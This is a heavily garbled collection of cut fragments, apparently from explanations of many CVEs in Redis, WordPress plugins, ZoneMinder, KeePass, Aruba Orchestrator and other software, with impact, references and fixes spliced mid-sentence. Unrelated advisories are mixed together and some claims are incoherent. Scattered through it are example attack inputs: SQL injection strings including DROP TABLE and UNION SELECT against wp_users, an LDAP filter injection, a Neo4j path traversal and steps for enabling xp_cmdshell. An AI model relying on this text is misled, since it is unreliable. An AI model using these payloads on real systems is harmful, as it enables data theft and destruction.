formation or interact with internal services that are not directly accessible from the outside.
servers, or perform a local port scan.

try: <https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h>
witch from the external IP to an internal one, and then successfully perform actions such as internal re

sensitive information from the database, such as user credentials or private data, and use it for malicious purposes.
that may indicate the vulnerability has been exploited.
e a runtime assertion and result in the termination of the Redis server process.

otes for version 6.2.11: <https://github.com/redis/redis/releases/tag/6.2.11>- Release notes for version
could carry out a Denial of Service (DoS) attack, making the database unavailable to legitimate users.

number), in an attempt to cause an integer overflow. If successful, this would lead to the assertion failure

way React's render cycle handled unsanitized HTML code, potentially allowing for vertical privilege escalation, such as changing the password of an Admin role user, password changes, or data theft within the Grafana platform.

This would then be executed by another user interacting with the panel. Oracle and NetApp's advisory. to trigger the execution of the XSS attack. a denial-of-service attack, causing Redis to hang and consume 100% CPU time.

causing long calculations, thereby consuming all available CPU time. For example, a user might provide a request to the Redis service, potentially leading to significant downtime, performance degradation, and loss of business

advisory at '<https://github.com/redis/redis/security/advisories/GHSA-jr7j-rfj5-8xqv>'.

ing to security breaches and compromise of sensitive data.

/advisories/GHSA-7fj2-8x79-rjf4.

not work in reality as it depends on the specific incorrect hash values which are deemed valid due to the bug. The attacker can then be treated as valid due to the bug. When the attacker attempts to log in, they can provide any password, a

ction's 'admins' directory.

wing them to modify database contents.

atabase engine, allowing the attacker to read, update, delete, or insert data in the database. For example,

he database to launch further attacks on other components of the system. The specific attack would be demonstrated by [Michael O'Leary](#) who has documented the findings about this SQL injection vulnerability in the Online Reviewer Management System.

without their consent.

n the WordPress website. If the victim interacts with this malicious content, the request would be sent to the server to provide exploitative code examples. To protect against this vulnerability, it is recommended to use a plugin that restricts access to the wp-content/themes directory. This plugin also exposes the passwords to anyone who can gain access to this database, thus compromising the security of the system. The attacker can then use these credentials to impersonate users and gain unauthorized access to their accounts, leading to a variety of security issues and potential financial losses if the affected accounts are linked to monetary transactions. The attacker could also perform a denial-of-service attack by injecting SQL queries into the database where passwords are stored in cleartext. In another scenario, malware on the device might be used to extract sensitive data from the database. Additionally, the official website of the A4N app developer 'https://www.aremis.com/en_GB/welcome' contains a link to a file that can be used to extract sensitive data from the database.

and may lead to further attacks or breaches.

https://www.arendis.com/en_GB/welcome

properly sanitized and the user supplies something malicious like 'admin' --', the final query would become the current query and starts a new one, allowing the attacker to access other data in the database with versions prior to 1.36.33 of ZoneMinder.

The injected script may execute within an administrator's web session.

tes, depending on the specifics of the vulnerability and the context of the application.

<https://github.com/ZoneMinder/zoneminder/commit/57bf25d39f12d620693f26068b8441b4f3f0b6c0> - If the user views the logs via the web UI, the malicious script is executed, potentially leading to session hijacking, inject SQL queries.

modify this cookie to inject malicious SQL commands.

could lead to database modification or deletion.

Decoding it until the upgrade can be done.

<https://github.com/ZoneMinder/zoneminder/commit/3d7fcc42f4>.

loaded and fit into the model or application class by deserializing JSON strings containing the full class name. This will provide an allow-list to control what types of Assembly can be loaded to further mitigate the issue.

In the context of the application using LiteDB. This could result in unauthorized actions, such as data tampering.

icious content. This can lead to log forgery or information disclosure. For example, an attacker might inject version 2.18.0.

Main model class with a property or field explicitly of type System.Object or a collection of this type, without best practices.

75.

domain model classes with properties or fields of type System.Object, the attacker could modify or inject

SQL query to extract sensitive information from the database.

ould retrieve confidential data from the site's database, such as user information, passwords, and othe

ow an attacker who has access to the password database to perform efficient bulk guessing attacks to i
tially lead to the recovery of user passwords, assuming that the hash functions used for password stor

ing algorithms with adequate computational complexity, such as bcrypt, Argon2, or PBKDF2 with signif
ulnerability.

ts versions prior to 5.5.0 and 4.4.0.14 on the 4.4 branch.

denial-of-service attacks on an application using the vulnerable plugin.

rtant information or system instability.

raphml procedure processes this file, it could result in the content of the local file being exposed to the
ice the risk of an XXE attack through the use of the importer tool. This can be done by adjusting setting
o the tag 5.5.0.

ed XML could crash the server, indicating the potential for denial-of-service attacks.

allation user without a locked down `search_path`, consequently allowing the execution of malicious f
schemas writable by malicious users, leading to potential privilege escalation.

ed.

caledb/releases/tag/2.9.3 and <https://github.com/timescale/timescaledb/pull/5259>.

uses the installation user's search_path which includes the schema with the malicious function. This fu
lation on the non-affected platforms (Timescale Cloud and Managed Service for TimescaleDB), and ref

gh impact on confidentiality.

ml.

use. The specifics of the technical exploit are not provided in the CVE description and would depend on

and availability of the application's database by allowing them to view, add, modify, or delete information or manipulation of database contents.

/ lead to a full system takeover depending on the nature of the data and the configuration of the data

:ion mechanisms should be reviewed and strengthened to prevent SQL injection vulnerabilities.
task(__name__}@app.route('/search', methods=['GET'])def search(): query = request.args.get('query')
r confidential information. Another scenario might involve altering the database by injecting SQL code
the flaw to access and potentially modify sensitive data within the application's database.

urther system compromise or personal data exposure.

and patch-development purposes, but these are typically not available publicly.

Assist to access sensitive data stored in the application's database. The attacker could then use this dat
ery method, the `optimizer_hints` query method, or the QueryLogs interface when it automatically adds
es, leading to SQL injection. This could allow attackers to manipulate database queries, access or modi

it could be injected into the final SQL query executed by ActiveRecord.

.debian.org/security/2023/dsa-5372).

iven file present on the DBMS file system, and in some cases, issue commands to the operating system
and change the system configuration, compromising the integrity and security of the system.

stems, leading to serious security breaches.

n configuration data or even change settings that could disrupt operations. For instance, by modifying
ng to potential disruptions of industrial process controls, data breaches, or full system compromises. T

ly access their email accounts or any other related services that use the same credentials.

potentially the overall Nextcloud environment.

5-93f4, and a HackerOne report at <https://hackerone.com/reports/1806275>.

nitoring_Software_Security_Notification.pdf.

from reverse engineering the application. Once logged in, the attacker could perform unauthorized a

i.pdf

s could be leveraged to further attacks or to gain unauthorized access to the system.

ty_Notification.pdf

ver, leading to a Denial of Service condition. As Geo SCADA systems are often critical in terms of infrast
abilities goes against ethical norms and security practices intended to prevent misuse.

es, an attacker could exploit this vulnerability to interact with the database through the web workbenc
s.

data theft, data manipulation, or further system compromise.

lization vulnerability, the attacker could execute arbitrary code on the system where Apache Linkis is

e used to access, modify, or delete data in the database.

ething like ' OR '1'='1' -- for the username, which could trick the system into granting access without pr

'9e-1.html.

ntially bypassing authentication checks and gaining unauthorized access to user accounts. The attacke
ding 4.4.0 to 4.4.1 (4.4 series), down to all versions of the 3.3 series. It could potentially allow one data
3.3 series are affected.

ignificant threat to data integrity and availability.

ollow the recommended upgrade procedures for affected versions.

; such as data manipulation or denial-of-service attacks. Additionally, with access to one account, the a

grants privilege escalation.

1 Contec.

ownloadlogger?download=-/media/Contec/jp/support/security-info/contec_security_chs_230124_er
se engine, leading to unauthorized data exfiltration or manipulation. For example, the attacker could u

ub.com/discourse/discourse/pull/19993- https://github.com/discourse/discourse/security/advisories,
pat in the database, potentially slowing down the system or causing storage resource exhaustion over

for all users, including administrators and technicians, potentially exposing sensitive information.

y could potentially authenticate as an administrator or technician and gain full access to the control system to potentially obtain cleartext passwords, compromising the security of the stored credentials.

ontents, including passwords, in cleartext when certain conditions are met, such as when the database

his suggests that such a threat model is outside the scope of KeePass's designed defense mechanisms.

ger. This could be utilized to exfiltrate passwords when the database is opened or otherwise triggered

an help prevent unauthorized access to the computer. Users should also be cautious and monitor for a

anager-leak-cve-richixbw/, the SourceForge discussion thread at <https://sourceforge.net/p/keepass/> for arguments.

0.8 release notes: <https://github.com/redis/redis/releases/tag/7.0.8>- Redis security advisory: <https://github.com/redis/redis/security/advisories/GHSA-4q4r-5q8g-4q4r>- Causing the Redis server to crash and become unavailable to legitimate users. The impact of such an attack depends on who has the necessary access.

by the maliciously crafted arguments passed to specific commands.

)M) panic, effectively crashing the process.

7- Release notes for Redis 6.2.9: <https://github.com/redis/redis/releases/tag/6.2.9>- Release notes for Redis 6.2.9. Such an attack could be used to cause a denial-of-service (DoS) by crashing the Redis server. It is important to note that this exploit requires the user to have already authenticated to the DPA application.

ion at https://documentation.solarwinds.com/en/success_center/dpa/content/release_notes/dpa_2021_07_01

exit of their session with the DPA application. This could lead to unauthorized actions being performed

on attacks. This is due to insufficient validation of user input within the interface.

rch boxes, which the application might execute on the backend database.

he application, potentially leading to full system compromise.

ata to create new user accounts with elevated privileges, modify system settings, disrupt services, or a

:ions are illegal and unethical, and as responsible professionals, we do not provide examples for exploi

t request = try HttpClient.Request(url: "https://example.com", method: .POST)request.headers.add(name: "Content-Type", value: "application/x-www-form-urlencoded")request.data = "username=attacker&password=12345"request.end()
ng an unintended request.3. Manipulating cookie values to perform session fixation attacks or other e
| remote attacker to gain unrestricted access to the database.

tion or deletion of data, or potential control over the RTLS infrastructure.

d-coded credentials.

base access.

sswords in the application's database which are supposed to remain confidential, not within the lines of the code. This allows the attacker to gain a foothold to move laterally within the network, exploiting any connected systems. The attacker could then use this access to further compromise the system.

cenario.

IS Security. It requires human interaction for a successful attack, potentially leading to unauthorized access to sensitive data or system resources.

to the RDBMS Security, leading to data manipulation or unauthorized data access. The exact method depends on the specific RDBMS and its configuration. For example, an exploit might involve sending a crafted SQL query to the database via Oracle Net to compromise the affected component. Successful exploitation could result in unauthorized access to data or even complete system compromise.

with low impact to confidentiality (C:L), and no impact to integrity (I:N) or availability (A:N).

s. This could allow the attacker to access private data such as personal identifiers, financial information, or compliance issues if the database stores regulated information.

d (S:U), there is no impact on confidentiality (C:N) and integrity (I:N), and the availability impact is low

ts the normal operation of the Java VM, leading to a partial denial of service for other users or service. An attacker can manipulate the parameter and dump arbitrary contents from the LDAP Database.

The identity information is compromised.

ary and malicious queries, thereby compromising the application's security.

nce, an attacker might use input like: `)(|(&(objectClass=*)))(|` which could potentially allow retrieval in unauthorized ways.

An attacker could provide input like `1' OR '1'='1`, resulting in a query like `SELECT * FROM table WHERE 1=1` bypassing application logic. The attacker could retrieve sensitive information, delete records, or gain administrative privileges.

In the context of a user's session.

on a page, the script would execute, potentially stealing cookies, session tokens, or performing actions on resources the user should not have access to. This occurs even when the 'ALLOW_ADHOC_SUBQUERY' feature flag is disabled.

lag being disabled. An example could be altering a query to include unauthorized tables, like so: SELEC
or precise mitigation steps.

nistrative privileges to the data layer of an application.
ation's input forms or through manipulated HTTP requests aiming at the 'processOrderBy' function to

n to respond improperly, thus leading to a service disruption.

3.

```
neo4j/some_directory/../../unintended_directory/exploit.csv', {})  
:/security/advisories/GHSA-5v8v-gwmw-qw97.
```

be done without email validation, it could also lead to distributing misinformation or harmful content.
t. This flaw could result in the exposure of credentials to an unauthorized user who gains access to this
t the obfuscation and uncover the original passwords.

Is and gain access to accounts. Given that BMC is generally used for managing hardware, this could lead to unauthorized access patterns. It is also a good practice to limit access to the BMC database and monitor its access logs.

This allows an attacker to receive information about posts they should not access.

-8gcf-vwmw-rxj4

mes awaiting approval or in private tags), the attacker could receive email notifications about these posts. An attacker can craft malicious SQL queries to extract sensitive data from the database due to insufficient escaping controls.

ething like: '/wp-admin/some-page.php?orderby=id+DESC%2C+1%3D1+UNION+SELECT+username%2

erabilities/id/6f781533-b633-4452-95bd-c32ed0de2ea9'.

updates as necessary to mitigate the vulnerability.

sensitive information such as post IDs, discussion IDs, and full post content without proper access controls. An attacker doesn't need special permissions and can perform the exploit even if new posts require approval.

nal discussions even if titles remain unknown, potentially exposing confidential information or discussing sensitive topics. These discussions can be accessed at <https://github.com/flarum/framework/security/advisories/GHSA-22m9-m3ww>. An attacker can modify, delete, or add information in the back-end database.

An attacker can use this exploit to gain administrative privileges by manipulating the database.

entiality.

be being processed by the application's database systems.

ount details and password hashes being extracted through Ransack query injection.

use objects. These matchers could be manipulated to return non-empty JSON responses if there is a mismatch between the expected and actual values.

0 migration and other related pull requests. Alternatively, users can cherry-pick the patch if they are using Flarum 5.0 to ensure the patch functions correctly.

rd hashes. Since less than 200 requests can reveal a bank account number, and approximately 1200 requests are required to extract a password hash.

From 1 to 9, observing the response to see when the search results are non-empty, indicating a match. R

tially exploit heap corruption through database corruption and a specially crafted HTML page. The iss

ng to arbitrary code execution or application crashes.

Security Advisories: <https://security.gentoo.org/glsa/202305-10>, <https://security.gentoo.org/glsa/202305-11>

The extension could manipulate the Chrome database and combine this with a specially crafted HTML p

icious extension to potentially cause heap corruption through database corruption and a specifically c

within the context of the browser.

Gentoo Linux Security Advisories at <https://security.gentoo.org/glsa/202305-10> and <https://security.gentoo.org/glsa/202305-11>

urity.

rvice.

original source code patches or detailed descriptions would offer better insight into the specific code e

xecute crafted database queries, leading to SQL injection, which can compromise the integrity, confide

ess to, modification of, or deletion of sensitive data.

-service or disrupting business operations.

Show best practices for secure coding to prevent SQL injection vulnerabilities, including input validation, i

ning and mitigating the issue. Additionally, there may be complementary documentation and guidance

lly use the vulnerability to bypass authentication and achieve unauthorized access to application featu

ight look something like this: GET /regionscrits.php?region=' OR '1'='1This could result in the executio

ns.

database, executing administrative operations on the database, and potentially compromising the data promised system to conduct further attacks against other assets.

tabase server, depending on the privileges of the database user.
access rights assigned to the database user.

losure could potentially include sensitive file contents from the database server.

n the query itself, or if the database user has enough privileges, data from files on the database server

› manipulate the backend SQL database queries.
exploitation.

sending malicious SQL commands, the attacker could retrieve, update, or delete data in the database,
› the attacker obtaining and modifying sensitive information, ultimately leading to a complete compro

tered configurations, data theft, or even a full takeover of the ClearPass Policy Manager cluster.
r than 6.9.12 for the 6.9.x branch—would mitigate the risks of attack.

cker might exfiltrate sensitive data, such as user credentials or configuration details, and potentially m
ive information in the underlying database, which could lead to complete compromise of the host.
chestrator 9.0.7.40110, and Orchestrator 8.10.23.40015, as well as any older versions not specifically i

allowing the execution of arbitrary SQL commands. These commands could be used to extract sensitiv

: specifically mentioned.

ake control of the Aruba EdgeConnect Enterprise Orchestrator host. This could result in unauthorized access and lead to the compromise of the entire Aruba EdgeConnect Enterprise Orchestrator host.

nit it through the interface. If the interface does not properly sanitize the input, the SQL injection attack could lead to unauthorized access and compromise sensitive information and the Aruba EdgeConnect Enterprise Orchestrator host.

acker-controlled SQL commands to be executed against the database. This could lead to unauthorized access and compromise of the system.

to inject malicious SQL code into a vulnerable input field, such as a search bar or data entry form. The attacker could use this to execute arbitrary SQL commands and potentially compromise the system. It is important to patch and mitigate the identified SQL injection vulnerabilities.

ally mentioned.

ding to a complete compromise of the Aruba EdgeConnect Enterprise Orchestrator host.

I against the software's backend database. This could lead to unauthorized access to sensitive data or manipulation of data. It is important to understand the potential impact of a SQL injection attack. Furthermore, input validation techniques and proactive measures should be implemented to prevent attackers from injecting arbitrary SQL commands that could be used to access, modify, or delete the database.

sensitive data, modify records, or delete information.

but is supposed to be a filename and the attacker inputs 'filename'; DROP TABLE Users; --', without properly accessing, modifying, or deleting data.

try without sanitizing user_inputquery = 'SELECT * FROM users WHERE id = ' + user_input# Executing the back-end database query. This could allow for unauthorized viewing of sensitive data, such as persisting arbitrary JavaScript code within the context of a user's browser session related to the affected web app

ing with that page.

<https://github.com/wecube-platform/wecube-platform/issues/2328>.

oser due to the DOM XSS vulnerability on the plugin database execution page. This could lead to sensitive information being injected through these parameters, the URL might look something like this: http://wecube-platform.example.com/wp-admin/admin-ajax.php?user_input=alert%28%27Hello%27%29. This could lead to the execution of arbitrary code.

Potentially leading to data theft, alteration, or other malicious activities.

VulnDB entry for the vulnerability: <https://vuldb.com/?diff.216851>

If the database query is executed with the privileges of the database administrator, the attacker could insert, delete, or update data.

ing to an SQL injection attack. This could look something like this: POST /wp-admin/admin-ajax.php HTTP/1.1

or financial records. The attacker could manipulate the database to modify, delete, or retrieve this configuration information. As a result, this could allow attackers with at least author-level privileges to perform SQL injection attacks.

credentials, or other confidential information stored in the WordPress database.

If the database query is not properly escaped, the malicious input could be executed by the site's database engine, allowing the attacker to perform tasks that could compromise the system. For users to perform their tasks to reduce the risk of exploitation, it is recommended to use prepared statements and parameterized queries.

ab228440dcc0'.

ay manipulate the SQL query to leak data or achieve unauthorized actions on the site's database.

'OST parameters before including them in SQL queries within '2_deactivate.php' and '4_activate.php'.

meters to manipulate the SQL query, leading to unauthorized data retrieval, modification, or deletion i
query, thus preventing SQL injection attacks. For example, if the input for 'cg_activate' is '1'; DROP TAI
ip'. It potentially allows malicious users with at least author privileges to execute SQL injection attacks

.E wp_users; --', which, if directly concatenated into SQL query without proper escaping, could lead to
east privilege necessary for users and utilizing prepared SQL statements or other safeguards against Sc

mage) VALUES ('" + cg_copy_start + "");```Example of malicious input that could exploit the vulnerabilit

QL injection attack, resulting in unauthorized access to or manipulation of the site's database, which co

e, password FROM wp_users -- '. Since the parameter is not properly escaped, this could cause the dat

IALIZED access to other parts of the website. For instance, they could extract a list of all users and their ha
to an SQL query in the file '0_change-gallery.php'. This oversight could allow attackers with at least al

nctionalities reserved for higher-privileged users.

CT * FROM gallery WHERE id = \$cg_id";\$result = \$wpdb->get_results(\$query);```In this example, the va

ead to the potential for SQL injection attacks, allowing malicious visitors to leak sensitive information f
r disrupt service.
ba97-375b8a363b64'.

ng to unauthorized database access. For example, an attacker might use an input like "' OR '1='1" for t
s leading to a denial-of-service condition on the affected website. In a more targeted attack, adversary
been calculated or assigned at the time of the provided information.

in an SQL query within the 'export-votes-all.php' file. This oversight could potentially allow malicious u
database information.

database, modify or delete data, or potentially gain escalated privileges within the WordPress installa

SQL query without any escaping or parameterized query structure, making it vulnerable to an SQL injec
as using prepared statements with parameterized queries, to prevent SQL injection vulnerabilities.

an SQL query within the 'ajax-functions-backend.php' file. This flaw could potentially enable malicious

as usernames, passwords, and any other data stored in the database.

est would be sent to 'ajax-functions-backend.php' which fails to escape the parameter. As a consequer

s used in an SQL query in the 'management-show-user.php' file, which could allow malicious users wit
tial data stored in the site's database. In a multisite configuration, the impact could be even more signi
te administrators should also regularly check for updates to their WordPress plugins and apply them p

act, and suggestions for remediation.

_id=1 OR 1=1'. If this input is directly concatenated into an SQL statement without escaping, it could m
lost up-to-date score, if available.

php' script. This flaw could allow malicious users with administrative privileges, particularly in a multis
in SQL query without proper sanitization or escaping, it could lead to an SQL injection. This vulnerabilit
lose information specific to the Contest Gallery Pro plugin, such as unpublished contest entries or data

'/wpSCAN.com/vulnerability/dac32ed4-d3df-420a-a2eb-9e7d2435826a'. These sources often provide i
dating the plugin will prevent the exploitation of this SQL injection vulnerability.

ious users with at least author privilege to perform SQL injection and potentially leak sensitive inform

manipulate the SQL query being executed by the plugin. This could result in unauthorized access to da
d in the database.

ulnerabilities like CVE-2022-4153.

```
query = 'SELECT * FROM gallery WHERE id = ' . $unsafe_parameter;
$result = $database->query($sql_query);
```

ath-to-plugin/edit-options.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded

This could result in sensitive information being leaked from the website's database. An attacker could gain access to sensitive data within the database.

In this example, the 'option_id' parameter is directly appended to the SQL query without any sanitization or escaping, which is a common level of trust within the site's user hierarchy.

These sources typically provide detailed explanations, impact assessments, and recommendations for mitigating such vulnerabilities. Such attacks could lead to further attacks like identity theft, website defacement, or the compromise of user accounts.

Before its inclusion in an SQL query. As a result, an attacker with at least author privileges could exploit this security issue.

Individual users can mitigate this risk by avoiding direct manipulation of the database through restricted parts of the system.

nd-without-search.php' file without proper sanitization or escaping, the injected SQL is executed, leading to a 'order-custom-fields-with-and-without-search.php' file with a manipulated 'option_id' parameter containing 'OR 1=1' to bypass the search functionality. This leads to the 'AnalyticsResults.aspx' page, allowing the attacker to execute arbitrary SQL commands.

ction technique to alter the query so that it returns all records. Since the attacker has publishing or administration privileges, they can use this to their advantage.

mal commands by using a specially crafted MySQL client. This vulnerability has been addressed in Apache Struts 2.3.32 and later versions.

to the database as if they were a normal, authenticated user. Depending on the privileges assigned to the user, they could change the state of outlets without proper authorization.

Access to those outlets.

y attacker with network access to the vulnerable PHP pages could potentially exploit it.

mething like this: ```php<?php// Check for database connectionif (\$db->connect()) { // Database conn

· system's processing of XML input.

ystem commands due to the enabled xp_cmdshell feature.

· exploiting missing length validation checks when processing Cisco Discovery Protocol messages.

)iscovery Protocol database of the device.

· the nature of the corrupted data and system behavior.

I to perform this attack.

able device.

entially disrupt the normal operation of the device or lead to further exploitation if the corrupted men

· failed information and code gets released to the general public.

· cry.

· proper handling, causing instability, crashing the system, or even potentially leading to further exploitati

· onitoring database. This access might be used to manipulate the data integrity or to go beyond the boi

in the database, given that the survey ID is accessible to them.
ion without proper sanitization or preparation of statement inputs.

vely bypassing authentication and authorization to extract data from the entire table or database. Not
tion, using parameterized queries or stored procedures, and restricting database privileges as interim
: capability to manipulate data in the database (e.g., via SQL injection), to execute arbitrary code on the

the server hosting the vulnerable application, leading to a compromise of the system's integrity and co

pecially crafted YAML objects into the serialized columns. When the application deserializes the YAML
ation in the 'remote_agent.php' file.

address, ideally the server's own IP. The attacker can leverage this to execute commands through a 'po
y must be preserved for these variables, restrictions should be added to prevent falsification of the sei

lved to the server's hostname, the attacker would invoke the `polldata` action. They would then provi

9e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9 - <https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bf6>

base, potentially leading to various types of attacks such as Denial of Service (DoS).

<https://github.com/nextcloud/server/pull/33139>)- The report on HackerOne (<https://hackerone.com/repor>

e flooded with excessively long calendar names, it could exhaust resources or trigger unhandled exce
rcher through the HackerOne vulnerability coordination and bug bounty platform.

s able to insert or manipulate SQL queries in the application's database query.

duration settings that could aid in further attacks. Since the vulnerability is post-authentication, the att
ole disclosure practices do not include sharing exploit code for vulnerabilities, especially for those that

nple, they could construct an API request with SQL code embedded in a parameter that the vulnerable

r exploitation of the network that hosts the SolarWinds Platform.

cally involves unsanitized input being processed by system functions, allowing attackers to execute un

ed, the database may execute them, potentially leading to data leaks or modification.

t this by submitting a search term such as 'anything' OR 'x'='x', which would always return true, potenti

ion or attacks against other systems if the database contains credentials or other information that can

acing arbitrary string values in database tables through a CSRF attack.

checks, the attacker's crafted request could cause the administrator to inadvertently replace strings in

ns are no longer vulnerable to this specific CSRF exploit.

ge could include a script that silently sends a request to the Find and Replace All plugin's string replace er on the system to read these files, potentially leading to the exposure of sensitive data within the sch nation stored in the schedules being processed by MPXJ.

the system from accessing the temporary files created by MPXJ.

potentially sensitive schedule data being processed by another user's instance of MPXJ. This could lead erability, the fix, and the security advisory.

he backing database, resulting in a denial of service (DoS).

version.

y, and reports on HackerOne and Fedora Project mailing lists.

unavailable to legitimate users.

r. This could lead to an overload of the database, resulting in slow response times and potential servic an lead to a scanning engine crash and can be remotely triggered by an attacker to cause a denial of se

tection.

ied by the F-Secure Endpoint Protection, it could cause the aerdl.dll unpacker handler to crash, leading

exploitation of this vulnerability.

s queries, or perform other unauthorized actions on the database, potentially leading to a data breach
id necessary actions.

ing the web admin console password in cleartext. This could enable a local user, or an attacker with lo
eir arguments. If the password has been passed in cleartext as a command-line argument, the attacke
s or system administrators are expected to be aware of this. Thus, the issue arises from an improper u
id, the '-webAdminPassword' argument is followed by a clear text password, making it visible to users
ese methods should be coupled with appropriate user permissions, file system encryption, or other m
; to view the command-line arguments of running processes. Upon finding the cleartext password, the
entially exposed passwords to unauthorized access if other vulnerabilities were exploited for data leak

n. It's worth noting that only users of the main wiki were affected, not those on subwikis due to a sepa
iformed of the potential leak and were prompted to set new passwords through an automatic email s
is users of the potential password disclosure, and the second email prompts them to set a new passw
i this information, attackers could then try to access the victims' accounts on XWiki or use the passwor
79L322'), XWiki security advisories (GHSA-599v-w48h-rjrm and GHSA-q2hm-2h45-v5g3), and XWiki JIR

rmance degradation. The exploitation would rely on the attacker's ability to manipulate the user ident
nsaction in place of a genuine one. However, this vulnerability requires specific circumstances to be e

uate. The client would then sign off what it believes to be a valid transaction, while in actuality, a falsif
4.1, the security advisory at <https://github.com/codenotary/immudb/security/advisories/GHSA-672p>-
is vulnerability can lead to the complete disclosure of all databases associated with the software.

rupt service operations, or use the information for malicious purposes such as fraud or identity theft.

/README.md.

sanitized by the application, the SQL statement could be executed by the database engine, allowing th

infect the database, potentially compromising the database information.

information, delete or modify data, and potentially escalate their privileges within the system.

[20post_comments_sql_injection/](#)

`ry($sql);` In this hypothetical scenario, the 'id' parameter is taken directly from the URL parameter and used to execute database operations like INSERT, UPDATE, or DELETE, which could alter data in the database, potentially leading to unauthorized access to the database information.

The attacker might gain administrative privileges or execute commands on the database server. It can receive input from the 'edit' parameter `$editId = $_GET['edit'];` // Unsafe SQL query using the 'edit' parameter and Parameterized Queries: Use prepared statements with parameterized queries to ensure SQL correctness.

[AeroCMS-v0.0.1-SQLi/update_categories_sql_injection/update_categories_sql_injection.md](#) - https://rdyx0.github.io/2018/09/05/AeroCMS-v0.0.1-SQLi%20update_categories_sql_injection/update_categories_sql_injection.md

by the database engine, leading to unauthorized data retrieval or manipulation.

[action.md](#) - https://rdyx0.github.io/2018/09/05/AeroCMS-v0.0.1-SQLi%20edit_post_post_category_id by submitting a 'post_category_id' parameter value like '`'0 OR 1=1 --'`', resulting in a query that bypasses the validation on the server-side, to prevent the injection of malicious SQL code.

4. Use prepared statements without proper authorization.

' parameter value like '`'1' OR '1'='1'`' which, if improperly sanitized by the application, could lead to the compromise the confidentiality, integrity, and availability of the application's data.

query after injection: `SELECT * FROM posts WHERE id = '1' OR '1'='1';` As a result, the database would retain privileges within the system or causing a denial of service by corrupting the database or overwriting access to database information.

uses, allowing the attacker to perform unauthorized database operations such as viewing, modifying, or alter database contents.

In the database's privileges, an attacker might be able to gain further access to the system hosting the [AeroCMS-v0.0.1-SQLi%20category_sql_injection/](#). These references might include details about the vulnerability and how to exploit it. It's also important to regularly audit and monitor web applications for vulnerabilities and to fix them as soon as they are discovered.

I exploit. It's also important to regularly audit and monitor web applications for vulnerabilities and to fix them as soon as they are discovered.

part a state that may be completely irrelevant to the actual server state.

ions. An attacker could leverage this to manipulate or intercept data transactions between the client and the server if the server changes its UUID.

[com/codenotary/immudb/releases/tag/v1.4.1](#).

who obtains access to these credentials can potentially perform unauthorized actions on the IEDs.

:s, or cause a denial-of-service.

acterer that resolve the cleartext credential storage issue and enhance overall system security.

i (RCE). This could be exploited by users with the capability to write SQL queries on H2 databases. The example of such an attack, in theory, would involve a crafted SQL query that uses H2-specific functional

n, or further propagation of the attack within the network.

ffected versions, and the provided fixes.

oited.

ng malicious parameters, potentially leading to remote code execution. The issue was addressed by re:eters that can cause deserialization of untrusted data, the attacker could potentially execute arbitrary c with untrusted input to prevent malicious configuration.

text is crafted to include payload that, upon deserialization, executes malicious code on the targeted s

osting the database.

at risk. It's recommended to check the official repository or advisory for the exact affected versions. ity or implementing additional input sanitation procedures within the application code. Regular securi configured Sequelize instance connected to a databaseconst models = { messages: sequelizeService({ ited by the database engine, leading to data leaks, unauthorized data modifications, or other database gil' POST parameter directly in database queries, thereby allowing users with the permission to run exp

SQL commands on the website's database. This can lead to unauthorized reading of data, corruption o unts for future access, or even drop tables leading to website malfunction.

owdown JavaScript library, which lacks built-in XSS countermeasures. This issue was present in version ≥ `VIEW_PORTFOLIO` permission when they navigate to the page displaying the compromised vulnerabilit

of this happening according to the maintainers of Dependency-Track.

ndered in Markdown, such as the Description field. When a user views this content, it would execute t

: URLs are available in the CVE reference details.

, could disrupt the original logic and return all the rows from the table. The resultant query could end n the database, such as user details, attendance logs, or other confidential data. If the system fails to p

ERE id = 1 OR 1=1``The above example shows how an attacker could manipulate the 'user_input' vari d the attack to other components of the infrastructure.

ential disruption of the application's functionality.

on firewall (WAF) to help detect and prevent SQL injection attacks.

ded ways.

itrary code.

atabase.

rposes such as data theft, data manipulation, or further internal network compromise.

database with elevated privileges.4. If 'xp_cmdshell' is disabled, they attempt to enable it using SQL cc

, passwords, or other data stored in the database without proper authorization, thereby violating data

nager's database.
an SQL query.

'update' function.

er would unwittingly send the session information to the attacker's server, effectively leaking their sess
ut requiring user authentication.

ode demonstration environment or a known affected Nautobot instance provided here, a code example
the vulnerability and obtaining patches.

be directly used as keys in ES6 syntax, which then become part of the object structure in templates. The
e database and directly inserted into the template erroneously, it can result in sensitive information w
hese sources that should ideally remain protected.

easures to address it.

, or proprietary business data. Additionally, the attacker could insert misleading or incorrect data into

If of the user.

ilities.

: writing of arbitrary bytes to memory and extensive reading of the server's memory.

ying system at large.

database. This could potentially allow them to bypass Windows Hello authentication.

ulnerability to gain unauthorized access to the compromised system.

indows template database and enroll their own fingerprints, thus bypassing Windows Hello on subsequent requests to the /newapi/ endpoint of the Zultys MX web interface.

sequent updates on the CVE's scoring.

cessed by the server. If the server concatenates the filter parameter directly into an SQL query without

cker could also bypass the login mechanism, gaining unauthorized access to restricted areas of the application controls. Proper defense against this type of attack would involve sanitizing all inputs and using prepared statements.

ilities/id/30f8419c-c7b9-4c68-a845-26c0308d76f3?source=cve.

in.php#L7951 - Wordfence's threat intel page for the vulnerability: <https://www.wordfence.com/threat>

ns like overwriting files. However, the exact code manipulation would be highly specific and is not outlined in the threat intel page.

5.

nt against such vulnerabilities.

l-documents/- CISA alert on multiple vulnerabilities affecting web-based court case and document management systems. These vulnerabilities allow for unauthorized access to the system's databases, leading to data breaches or further exploitation of the system. For example, the alert notes that an attacker could use the following exploit code:

ing disruption to operations and data integrity.

vide insights into the code changes made to rectify the issue.

ading to a denial of service.

use. By exploiting this, an attacker using a specially crafted Common Table Expression (CTE) SQL statement could delete records within the metadata database. Such actions could lead to unauthorized changes to user permissions or service account. Regular audits of database logs for unusual behavior or unauthorized SQL statements

user accounts or sensitive information within the application.

manipulate data stored in the databases that Apache DolphinScheduler connects to.

, therefore gaining unauthorized access to system or network resources.

ve and potentially confidential information contained within.

dditional SQL statements into existing queries and possibly access sensitive information from the data

r the plugin which might include fixes: <https://plugins.trac.wordpress.org/changeset/2985513/wp-any>

ilways evaluates to true ('1='1'), followed by a comment sequence ('--') to ignore the rest of the quer unauthorized actions such as data exfiltration, account takeover, or database manipulation, comprom

abase.

vulnerability database at <https://www.wordfence.com/threat-intel/vulnerabilities/id/c943cf0b-0e99-> inistrative privileges to manipulate SQL queries and extract sensitive data from the database. integrity and availability.

